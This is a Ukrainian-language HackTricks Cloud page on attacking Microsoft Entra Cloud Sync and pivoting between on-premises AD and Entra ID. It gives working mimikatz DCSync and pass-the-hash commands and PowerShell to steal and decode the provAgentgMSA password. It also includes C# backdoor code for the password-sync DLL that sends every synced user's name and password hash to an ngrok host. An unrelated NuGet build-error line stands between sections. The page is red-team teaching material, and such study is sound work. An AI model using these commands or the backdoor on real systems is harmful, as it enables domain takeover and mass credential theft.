Az - Cloud Sync
Reading time: 8 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Основна інформація
Cloud Sync - це новий спосіб Azure для синхронізації користувачів з AD в Entra ID.
З документації: Microsoft Entra Cloud Sync - це нова пропозиція від Microsoft, розроблена для досягнення ваших цілей гібридної ідентичності для синхронізації користувачів, груп і контактів до Microsoft Entra ID. Це досягається за допомогою агента постачання Microsoft Entra в хмарі замість програми Microsoft Entra Connect. Однак його можна використовувати разом з Microsoft Entra Connect Sync.
Згенеровані принципали
Для того, щоб це працювало, деякі принципали створюються як в Entra ID, так і в локальному каталозі:
- В Entra ID створюється користувач
On-Premises Directory Synchronization Service Account
(ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com
) з роллюDirectory Synchronization Accounts
(d29b2b05-8046-44ba-8758-1e26182fcf32
).
warning
Ця роль раніше мала багато привілейованих дозволів, і її можна було використовувати для ескалації привілеїв навіть до глобального адміністратора. Однак Microsoft вирішила видалити всі привілеї цієї ролі та призначити лише нову microsoft.directory/onPremisesSynchronization/standard/read
, яка насправді не дозволяє виконувати жодні привілейовані дії (такі як зміна пароля або атрибутів користувача або додавання нових облікових даних до SP).
-
В Entra ID також створюється група
AAD DC Administrators
без членів або власників. Ця група корисна, якщо використовуєтьсяMicrosoft Entra Domain Services
. -
В AD або створюється обліковий запис служби
provAgentgMSA
з SamAcountName, якpGMSA_<id>$@domain.com
(Get-ADServiceAccount -Filter * | Select Name,SamAccountName
), або користувацький, з цими дозволами. Зазвичай створюється за замовчуванням.
warning
Серед інших дозволів обліковий запис служби provAgentgMSA
має дозволи DCSync, що дозволяє будь-кому, хто його скомпрометує, скомпрометувати весь каталог. Для отримання додаткової інформації про DCSync перегляньте це.
note
За замовчуванням користувачі відомих привілейованих груп, таких як Domain Admins, з атрибутом adminCount
до 1 не синхронізуються з Entra ID з міркувань безпеки. Однак інші користувачі, які є частиною привілейованих груп без цього атрибута або які мають високі привілеї безпосередньо, можуть бути синхронізовані.
Синхронізація паролів
Цей розділ дуже схожий на той, що з:
- Синхронізація хешів паролів може бути увімкнена, щоб користувачі могли увійти в Entra ID, використовуючи свої паролі з AD. Більше того, коли пароль змінюється в AD, він буде оновлений в Entra ID.
- Запис паролів також може бути увімкнений, що дозволяє користувачам змінювати свій пароль в Entra ID, автоматично синхронізуючи їх пароль в локальному домені. Але відповідно до поточних документів, для цього потрібно використовувати Connect Agent, тому зверніть увагу на розділ Az Connect Sync для отримання додаткової інформації.
- Запис груп: Ця функція дозволяє синхронізувати членство груп з Entra ID назад до локального AD. Це означає, що якщо користувача додають до групи в Entra ID, його також додадуть до відповідної групи в AD.
Півотування
AD --> Entra ID
- Якщо користувачі AD синхронізуються з AD в Entra ID, півотування з AD в Entra ID є простим, просто скомпрометуйте пароль деякого користувача або змініть пароль деякого користувача або створіть нового користувача і чекайте, поки його синхронізують в каталог Entra ID (зазвичай лише кілька хвилин).
Отже, ви могли б, наприклад:
- Скомпрометувати обліковий запис
provAgentgMSA
, виконати атаку DCSync, зламати пароль деякого користувача, а потім використовувати його для входу в Entra ID. - Просто створити нового користувача в AD, почекати, поки його синхронізують в Entra ID, а потім використовувати його для входу в Entra ID.
- Змінити пароль деякого користувача в AD, почекати, поки його синхронізують в Entra ID, а потім використовувати його для входу в Entra ID.
Щоб скомпрометувати облікові дані provAgentgMSA
:
# Enumerate provAgentgMSA account
Get-ADServiceAccount -Filter * -Server domain.local
# Find who can read the password of the gMSA (usually only the DC computer account)
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword
# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
lsadump::dcsync /domain:domain.local /user:<dc-name>$
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"
# Or you can change who can read the password of the gMSA account to all domain admins for example:
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'
# Read the password of the gMSA
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'
#Install-Module -Name DSInternals
#Import-Module DSInternals
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
Тепер ви можете використовувати хеш gMSA для виконання атаки Pass-the-Hash проти Entra ID, використовуючи обліковий запис provAgentgMSA
і підтримувати постійність, маючи можливість виконувати атаки DCSync проти AD.
Для отримання додаткової інформації про те, як скомпрометувати Active Directory, перегляньте:
Active Directory Methodology - HackTricks
note
Зверніть увагу, що немає жодного способу надати ролі Azure або EntraID синхронізованим користувачам на основі їх атрибутів, наприклад, у конфігураціях Cloud Sync. Однак, щоб автоматично надати дозволи синхронізованим користувачам, деякі групи Entra ID з AD можуть отримати дозволи, щоб синхронізовані користувачі в цих групах також їх отримали, або можуть бути використані динамічні групи, тому завжди перевіряйте динамічні правила та потенційні способи їх зловживання:
Щодо постійності, цей блог пропонує, що можливо використовувати dnSpy для створення бекдору в dll Microsoft.Online.Passwordsynchronisation.dll
, розташованій у C:\Program Files\Microsoft Azure AD Sync\Bin
, яка використовується агентом Cloud Sync для виконання синхронізації паролів, змушуючи її ексфільтрувати хеші паролів користувачів, які синхронізуються, на віддалений сервер. Хеші генеруються в класі PasswordHashGenerator
, і в блозі пропонується додати деякий код, щоб клас виглядав так (зверніть увагу на use System.Net
і використання WebClient
для ексфільтрації хешів паролів):
using System;
using System.Net;
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;
namespace Microsoft.Online.PasswordSynchronization
{
// Token: 0x0200003E RID: 62
public class PasswordHashGenerator : ClearPasswordHashGenerator
{
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
{
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
try
{
using (WebClient webClient = new WebClient())
{
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
}
}
catch (Exception)
{
}
return new PasswordHashData
{
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
RawHash = passwordHashData.RawHash
};
}
}
}
NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'. C:\Program Files (x86)\Microsoft SDKs\NuGetPackages: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages'. . Please see Error List window for detailed warnings and errors.
Entra ID --> AD
-
Якщо Password Writeback увімкнено, ви можете змінити пароль деяких користувачів з Entra ID, і якщо у вас є доступ до мережі AD, підключитися, використовуючи їх. Для отримання додаткової інформації перегляньте розділ Az Connect Sync section, оскільки функція скидання пароля налаштовується за допомогою цього агента.
-
На даний момент Cloud Sync також дозволяє "Microsoft Entra ID to AD", але після тривалого часу я виявив, що він НЕ МОЖЕ синхронізувати користувачів EntraID з AD і що він може синхронізувати лише користувачів з EntraID, які були синхронізовані з хешем пароля і походять з домену, що належить до того ж лісу доменів, до якого ми синхронізуємо, як ви можете прочитати в https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits:
- Ці групи можуть містити лише синхронізованих користувачів з локальних систем і/або додаткові групи безпеки, створені в хмарі.
- Локальні облікові записи користувачів, які синхронізовані і є членами цієї групи безпеки, створеної в хмарі, можуть бути з одного домену або міждоменними, але всі вони повинні бути з одного лісу.
Отже, поверхня атаки (і корисність) цього сервісу значно зменшена, оскільки зловмисник повинен зламати початковий AD, з якого синхронізуються користувачі, щоб зламати користувача в іншому домені (і обидва, очевидно, повинні бути в одному лісі).
Enumeration
# Check for the gMSA SA
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"
# Get all the configured cloud sync agents (usually one per on-premise domain)
## In the machine name of each you can infer the name of the domain
az rest \
--method GET \
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
--headers "Content-Type=application/json"
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.